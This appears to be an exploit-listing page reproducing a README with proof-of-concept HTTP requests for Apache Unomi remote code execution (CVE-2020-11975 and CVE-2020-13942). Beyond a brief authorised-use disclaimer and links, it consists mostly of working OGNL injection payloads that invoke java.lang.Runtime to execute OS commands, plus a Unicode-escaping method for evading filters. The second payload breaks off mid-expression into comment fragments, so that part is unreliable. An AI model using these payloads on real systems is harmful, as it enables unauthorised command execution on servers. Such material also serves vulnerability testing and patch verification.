Sploitus

Exploit for CVE-2020-11975 CVE-2020-11975 CVE-2020-13942

githubexploit · 2020-11-24

Exploit Code

README88 lines
## https://sploitus.com/exploit?id=80780CEF-E61C-51AD-A7E0-B51DA99D0364
### Statement

The vulnerability detection methods, documents, and other content provided here are intended only for use by security professionals with legal authorization. The purpose is to assess the security of authorized servers. Security professionals must comply with legal regulations and are prohibited from performing any vulnerability detection without authorization. ### Introduction

* Reference links
  * https://vulners.com/cve/CVE-2020-13942
  * https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
  * http://unomi.apache.org/
  * [Vulnerability Analysis - Apache Unomi RCE, Part 1: OGNL Injection (CVE-2020-11975) - Zhizhen Community](https://xz.aliyun.com/t/8564)
  * [Vulnerability Analysis - Apache Unomi RCE, Part 2: OGNL/MVEL Injection (CVE-2020-13942) - Zhizhen Community](https://xz.aliyun.com/t/8565)

#### CVE-2020-11975

##### PoC: CVE-2020-11975 OGNL Injection

(This PoC only supports detecting versions <= 1.5.0; it is recommended to use the two PoCs for CVE-2020-13942, which support detecting versions <= 1.5.1.)
```
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":[
                    "propertyName":"(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                    "comparisonOperator":"equals_anystr",
                    "propertyValue":"male_anystr"
                }
            ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 
```

#### CVE-2020-13942

##### PoC: HTTP request with OGNL injection

The OGNL expression in the following (PoC) HTTP request resulted in access to the `Runtime` object and an OS command was executed using the Java reflection API.
```
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":[
                    "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?

// This example demonstrates how to replace characters in the payload using Unicode encoding, turning them into `\uXXXX` format. It also demonstrates that this approach works successfully.
// For example:
// Replacing 'e' with `\u0065'
// Replacing '.' with `\u002e'
// #runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")
// #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0])
// #rtobj = #getruntimemethod.invok\u0065(null,null)
// #execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType()..getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0])
// #execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))

[source-iocs-preserved method=this.name.equals(\"exec\")]